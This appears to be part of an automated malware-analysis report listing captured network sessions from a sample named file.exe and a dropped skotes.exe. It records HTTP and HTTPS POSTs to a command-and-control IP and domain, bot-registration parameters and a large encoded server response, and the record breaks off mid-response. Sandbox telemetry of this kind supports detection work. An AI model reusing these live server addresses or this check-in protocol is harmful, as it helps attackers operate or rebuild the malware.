Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
27	192.168.2.7	50041	185.215.113.43	80	6916	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 30, 2024 04:36:13.723855972 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Oct 30, 2024 04:36:14.606467962 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 30 Oct 2024 03:36:14 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
28	192.168.2.7	50042	185.215.113.43	80	6916	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 30, 2024 04:36:16.425225973 CET	316	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 162 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 30 32 41 37 33 42 34 35 45 38 32 44 31 32 46 43 34 37 44 42 32 33 43 41 39 36 34 46 46 35 36 34 43 33 38 42 33 37 33 37 30 33 35 42 31 45 36 30 43 38 44 30 45 39 33 39 46 42 36 30 38 42 45 43 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7EB02A73B45E82D12FC47DB23CA964FF564C38B3737035B1E60C8D0E939FB608BEC5
Oct 30, 2024 04:36:17.316859961 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 30 Oct 2024 03:36:17 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
29	192.168.2.7	50046	185.215.113.43	80	6916	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 30, 2024 04:36:19.075824976 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Oct 30, 2024 04:36:20.004724026 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 30 Oct 2024 03:36:19 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
30	192.168.2.7	50051	34.107.221.82	80

Timestamp	Bytes transferred	Direction	Data
Oct 30, 2024 04:36:20.088088036 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Oct 30, 2024 04:36:20.693134069 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Tue, 29 Oct 2024 13:44:17 GMT Age: 49923 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>

Session ID	Source IP	Source Port	Destination IP	Destination Port
31	192.168.2.7	50062	34.107.221.82	80

Timestamp	Bytes transferred	Direction	Data
Oct 30, 2024 04:36:20.880146027 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Oct 30, 2024 04:36:21.480201006 CET	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Tue, 29 Oct 2024 16:15:31 GMT Age: 40850 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Oct 30, 2024 04:36:21.523614883 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Oct 30, 2024 04:36:21.649684906 CET	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Tue, 29 Oct 2024 16:15:31 GMT Age: 40850 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Oct 30, 2024 04:36:21.780677080 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Oct 30, 2024 04:36:21.906665087 CET	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Tue, 29 Oct 2024 16:15:31 GMT Age: 40850 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Oct 30, 2024 04:36:22.305857897 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Oct 30, 2024 04:36:22.432086945 CET	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Tue, 29 Oct 2024 16:15:31 GMT Age: 40851 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Oct 30, 2024 04:36:23.005008936 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Oct 30, 2024 04:36:23.131105900 CET	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Tue, 29 Oct 2024 16:15:31 GMT Age: 40852 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Oct 30, 2024 04:36:23.702934980 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Oct 30, 2024 04:36:23.828813076 CET	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Tue, 29 Oct 2024 16:15:31 GMT Age: 40852 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success

Session ID	Source IP	Source Port	Destination IP	Destination Port
32	192.168.2.7	50063	34.107.221.82	80

Timestamp	Bytes transferred	Direction	Data
Oct 30, 2024 04:36:20.903563976 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Oct 30, 2024 04:36:21.512435913 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Tue, 29 Oct 2024 13:44:17 GMT Age: 49924 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Oct 30, 2024 04:36:21.610506058 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Oct 30, 2024 04:36:21.736911058 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Tue, 29 Oct 2024 13:44:17 GMT Age: 49924 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Oct 30, 2024 04:36:22.042735100 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Oct 30, 2024 04:36:22.169188976 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Tue, 29 Oct 2024 13:44:17 GMT Age: 49925 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Oct 30, 2024 04:36:22.817420959 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Oct 30, 2024 04:36:22.943708897 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Tue, 29 Oct 2024 13:44:17 GMT Age: 49925 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Oct 30, 2024 04:36:23.531341076 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Oct 30, 2024 04:36:23.657994986 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Tue, 29 Oct 2024 13:44:17 GMT Age: 49926 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.7	49703	188.114.97.3	443	7416	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-30 03:34:16 UTC	265	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: necklacedmny.store
2024-10-30 03:34:16 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-10-30 03:34:16 UTC	1018	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 03:34:16 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=9i63eipalt19jp2nqu2qbuftoc; expires=Sat, 22 Feb 2025 21:20:55 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=vBZJi4PiB7szS8lxjADuxMu1GLG3UURxECLd%2ByOZGu%2F9017E3sP9UMOkr1qsAtdfMp%2Bn97zyds5B2R1c8bFXgiik%2F6xX5hS1niPyd8D7UyAtRMdc8nrMwe%2BjjZXfacTH0VNznfk%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8da85941dff1467e-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1335&sent=6&recv=7&lost=0&retrans=0&sent_bytes=2844&recv_bytes=909&delivery_rate=1935828&cwnd=251&unsent_bytes=0&cid=3de01b664374cad9&ts=1036&x=0"
2024-10-30 03:34:16 UTC	7	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
2024-10-30 03:34:16 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.7	49709	188.114.97.3	443	7416	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-30 03:34:17 UTC	266	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 52 Host: necklacedmny.store
2024-10-30 03:34:17 UTC	52	OUT	Data Raw: 61 63 74 3d 72 65 63 69 76 65 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e 64 61 72 79 79 26 6a 3d Data Ascii: act=recive_message&ver=4.0&lid=4SD0y4--legendaryy&j=
2024-10-30 03:34:18 UTC	1017	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 03:34:18 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=ppmsr07e26hio89hck9jviu7vq; expires=Sat, 22 Feb 2025 21:20:56 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=gZGWDoROMra42O8oO1uxW%2BfSWQE27Voq2l0othnDhrUU%2FbyWYc2cAxfr%2BpLEV6BKID617sR%2BnCtt6TJZ0cXQW%2FLd6onj1iDXnoTWX1EajMEXxTAmGJ6Y7Z5jNb1JbYxC7V917xU%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8da85948dae045e7-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1068&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2845&recv_bytes=954&delivery_rate=2531468&cwnd=246&unsent_bytes=0&cid=b80946a040f15d05&ts=534&x=0"
2024-10-30 03:34:18 UTC	352	IN	Data Raw: 34 64 39 0d 0a 42 53 2b 73 50 4e 42 33 6a 67 72 55 78 57 72 45 68 69 2b 6f 52 32 4c 74 69 63 59 4c 4a 4b 65 66 51 30 47 68 58 79 59 75 56 61 31 2b 44 64 6f 65 36 6b 4f 69 4b 4b 65 67 53 50 37 79 58 64 30 69 54 73 2f 6f 6f 69 6b 65 77 66 34 76 4d 73 52 7a 42 46 67 34 6a 7a 39 4a 7a 56 43 6a 45 71 49 6f 73 62 31 49 2f 74 31 55 69 69 49 4d 7a 37 50 6b 62 6b 37 46 2f 69 38 6a 77 44 52 4a 58 6a 6e 4f 62 55 50 4c 56 4c 55 55 36 6d 75 34 71 41 2b 68 34 30 37 43 4b 51 75 41 34 61 73 70 43 49 58 36 4f 57 4f 62 66 57 74 4c 49 63 78 49 54 74 39 58 38 67 71 69 63 66 61 67 42 4f 61 38 44 63 6b 69 41 49 48 76 6f 6d 42 4d 7a 2f 63 6e 49 73 55 31 56 6b 63 7a 78 57 31 4e 79 46 57 2f 48 66 35 6d 73 71 38 45 70 2b 6c 4f 69 6d 74 41 69 50 50 6b 4d 51 61 57 7a 79 49 79 30 69 Data Ascii: 4d9BS+sPNB3jgrUxWrEhi+oR2LticYLJKefQ0GhXyYuVa1+Ddoe6kOiKKegSP7yXd0iTs/ooikewf4vMsRzBFg4jz9JzVCjEqIosb1I/t1UiiIMz7Pkbk7F/i8jwDRJXjnObUPLVLUU6mu4qA+h407CKQuA4aspCIX6OWObfWtLIcxITt9X8gqicfagBOa8DckiAIHvomBMz/cnIsU1VkczxW1NyFW/Hf5msq8Ep+lOimtAiPPkMQaWzyIy0i
2024-10-30 03:34:18 UTC	896	IN	Data Raw: 7a 47 4f 78 36 76 71 77 44 6f 2f 5a 47 77 79 67 4e 6a 2b 61 75 5a 6b 58 46 2b 69 73 70 7a 44 64 41 51 54 72 4a 5a 30 32 4f 45 50 49 53 39 43 6a 75 35 79 75 6a 39 45 72 47 4d 30 4b 31 71 37 73 6e 58 34 58 36 4c 57 4f 62 66 55 78 4a 4e 4d 78 73 51 73 31 57 75 51 66 73 65 72 43 71 44 62 54 69 53 4d 51 76 41 35 33 68 71 6d 39 46 7a 50 59 6f 4a 73 51 35 42 41 4a 33 79 48 38 4e 6c 68 36 54 47 4f 64 6b 76 4c 41 49 35 76 73 44 30 32 55 48 67 36 76 38 4b 55 4c 45 2b 53 41 6e 7a 54 4e 41 51 44 48 42 61 6b 4c 49 56 4c 49 53 35 6d 43 2b 70 67 57 74 36 30 33 50 4b 41 53 4a 35 36 56 73 42 6f 75 39 4a 6a 75 44 5a 51 52 69 4d 4d 78 31 44 2f 74 64 76 42 76 72 66 76 61 34 52 72 2b 6b 53 73 5a 6c 57 4d 2f 6c 6f 57 5a 55 78 4f 38 6b 4c 64 45 78 51 55 6f 36 7a 47 6c 4e 79 31 Data Ascii: zGOx6vqwDo/ZGwygNj+auZkXF+ispzDdAQTrJZ02OEPIS9Cju5yuj9ErGM0K1q7snX4X6LWObfUxJNMxsQs1WuQfserCqDbTiSMQvA53hqm9FzPYoJsQ5BAJ3yH8Nlh6TGOdkvLAI5vsD02UHg6v8KULE+SAnzTNAQDHBakLIVLIS5mC+pgWt603PKASJ56VsBou9JjuDZQRiMMx1D/tdvBvrfva4Rr+kSsZlWM/loWZUxO8kLdExQUo6zGlNy1
2024-10-30 03:34:18 UTC	1369	IN	Data Raw: 33 66 39 33 0d 0a 56 71 32 47 4f 4e 68 76 36 34 61 72 4f 68 44 32 43 67 4b 69 75 57 6f 62 45 6e 46 2f 43 41 74 79 54 59 45 41 6e 66 49 66 77 32 57 48 70 30 59 2f 48 71 38 72 42 6e 6b 30 55 37 45 4b 77 65 5a 71 37 73 6e 58 34 58 36 4c 57 4f 62 66 55 39 4b 4f 38 4e 6e 53 39 78 51 76 51 66 6d 65 72 4b 70 44 4b 72 71 52 4d 63 71 42 5a 33 76 70 48 74 48 77 50 6f 76 4c 74 45 34 42 41 4a 33 79 48 38 4e 6c 68 36 49 49 65 74 34 70 36 42 4b 6b 2b 64 44 78 43 49 57 7a 2f 54 71 63 41 62 43 38 57 46 37 67 7a 35 49 51 54 37 4b 61 46 2f 45 55 72 4d 48 36 32 47 2f 72 51 6d 6f 36 30 62 47 49 42 4b 45 35 4b 78 6d 52 38 6a 77 4b 69 66 44 66 51 6f 4d 4d 4e 63 6e 46 59 35 2f 76 78 72 2b 61 36 66 6c 50 61 58 71 51 38 30 7a 51 4a 43 6c 76 53 6c 42 79 62 31 35 59 38 49 78 53 45 Data Ascii: 3f93Vq2GONhv64arOhD2CgKiuWobEnF/CAtyTYEAnfIfw2WHp0Y/Hq8rBnk0U7EKweZq7snX4X6LWObfU9KO8NnS9xQvQfmerKpDKrqRMcqBZ3vpHtHwPovLtE4BAJ3yH8Nlh6IIet4p6BKk+dDxCIWz/TqcAbC8WF7gz5IQT7KaF/EUrMH62G/rQmo60bGIBKE5KxmR8jwKifDfQoMMNcnFY5/vxr+a6flPaXqQ80zQJClvSlByb15Y8IxSE
2024-10-30 03:34:18 UTC	1369	IN	Data Raw: 52 73 6c 56 75 52 48 6f 61 4c 75 73 42 71 6a 74 51 63 49 70 42 35 33 6d 6f 57 46 4d 7a 50 67 74 4c 73 41 76 52 30 31 33 67 53 64 4b 31 68 37 71 56 63 74 62 67 59 52 49 75 61 70 55 69 69 49 4d 7a 37 50 6b 61 45 37 43 38 79 55 78 7a 53 39 4b 53 7a 66 4a 62 30 58 4a 55 72 77 62 2f 6d 43 33 70 77 61 70 37 45 54 4f 4a 41 53 4c 35 36 4d 70 43 49 58 36 4f 57 4f 62 66 57 78 50 4c 64 55 6c 59 38 56 65 74 51 58 36 63 2f 61 34 52 72 2b 6b 53 73 5a 6c 57 4d 2f 76 72 32 4e 50 78 76 51 6c 4c 73 4d 30 53 30 55 2f 77 6d 39 66 7a 31 53 67 45 65 6c 70 75 61 30 4d 72 75 68 43 78 69 45 53 68 4b 76 71 4b 55 48 64 76 58 6c 6a 34 7a 5a 53 62 79 58 64 4a 31 4b 41 52 2f 49 53 34 43 6a 75 35 77 47 71 35 55 7a 41 49 77 75 4b 35 71 52 73 54 4d 4c 78 49 53 50 41 4f 30 4a 42 50 38 64 Data Ascii: RslVuRHoaLusBqjtQcIpB53moWFMzPgtLsAvR013gSdK1h7qVctbgYRIuapUiiIMz7PkaE7C8yUxzS9KSzfJb0XJUrwb/mC3pwap7ETOJASL56MpCIX6OWObfWxPLdUlY8VetQX6c/a4Rr+kSsZlWM/vr2NPxvQlLsM0S0U/wm9fz1SgEelpua0MruhCxiEShKvqKUHdvXlj4zZSbyXdJ1KAR/IS4Cju5wGq5UzAIwuK5qRsTMLxISPAO0JBP8d
2024-10-30 03:34:18 UTC	1369	IN	Data Raw: 72 30 51 35 47 4f 77 71 51 6d 67 36 45 43 4b 61 30 43 49 38 2b 51 78 42 75 4c 6e 4c 43 58 55 4c 48 46 4c 4e 35 34 6e 55 6f 42 48 38 68 4c 67 4b 4f 37 6e 42 61 72 75 51 4d 38 68 43 49 6a 6f 70 57 56 43 79 50 41 6c 4b 73 63 34 56 6c 34 78 77 57 64 43 77 46 47 2b 42 2b 4a 74 74 71 74 49 36 4b 52 4b 30 6d 56 59 7a 39 71 7a 61 51 62 61 73 7a 68 6a 78 44 45 45 46 48 66 41 61 6c 2f 43 55 62 49 55 37 32 79 39 6f 41 36 67 35 55 37 50 4a 67 57 4a 36 71 52 6c 54 4d 4c 31 4b 79 33 4f 4f 30 42 4b 4d 59 38 70 44 63 6c 47 38 6b 32 73 57 72 75 70 41 61 58 69 51 4e 77 4e 4d 63 2f 30 36 6e 41 47 77 76 46 68 65 34 4d 35 54 30 51 37 79 6d 39 49 7a 31 61 34 48 65 4e 6e 70 4b 59 48 72 2b 4e 47 78 79 6f 4f 69 75 57 32 62 6b 33 4f 39 53 67 74 78 58 30 4b 44 44 44 58 4a 78 57 4f Data Ascii: r0Q5GOwqQmg6ECKa0CI8+QxBuLnLCXULHFLN54nUoBH8hLgKO7nBaruQM8hCIjopWVCyPAlKsc4Vl4xwWdCwFG+B+JttqtI6KRK0mVYz9qzaQbaszhjxDEEFHfAal/CUbIU72y9oA6g5U7PJgWJ6qRlTML1Ky3OO0BKMY8pDclG8k2sWrupAaXiQNwNMc/06nAGwvFhe4M5T0Q7ym9Iz1a4HeNnpKYHr+NGxyoOiuW2bk3O9SgtxX0KDDDXJxWO
2024-10-30 03:34:18 UTC	1369	IN	Data Raw: 52 76 76 71 4d 47 74 4f 56 43 69 6d 74 41 69 50 50 6b 4d 51 62 30 36 79 59 6b 7a 48 39 74 53 79 7a 4f 62 55 37 46 55 76 49 4b 6f 6e 48 32 6f 41 54 6d 76 41 33 48 4b 51 32 4c 2b 61 68 70 52 73 7a 36 4b 7a 48 4d 4d 6b 6c 50 4e 38 70 31 54 4e 78 52 75 52 44 76 62 4c 6d 6f 42 4b 37 75 44 59 52 6c 42 35 65 72 2f 43 6c 71 78 75 77 72 59 65 51 6e 55 6b 73 37 33 6d 78 41 77 68 36 74 57 2f 55 6f 73 61 74 49 2f 71 52 4e 79 79 67 53 69 75 71 75 59 30 76 4e 38 69 51 6d 7a 44 6c 41 52 7a 6e 64 61 55 4c 4f 57 4c 6b 55 36 57 75 39 72 51 61 76 39 67 32 45 5a 51 65 58 71 2f 77 70 62 4e 37 38 4c 43 2b 42 45 30 39 61 4d 49 31 47 51 38 56 5a 76 67 4f 73 64 2f 69 2b 53 4b 48 6f 44 5a 4a 6c 43 59 48 6e 70 32 35 4f 7a 66 67 68 4b 4d 4d 79 54 6b 49 77 33 57 31 42 78 45 79 39 46 Data Ascii: 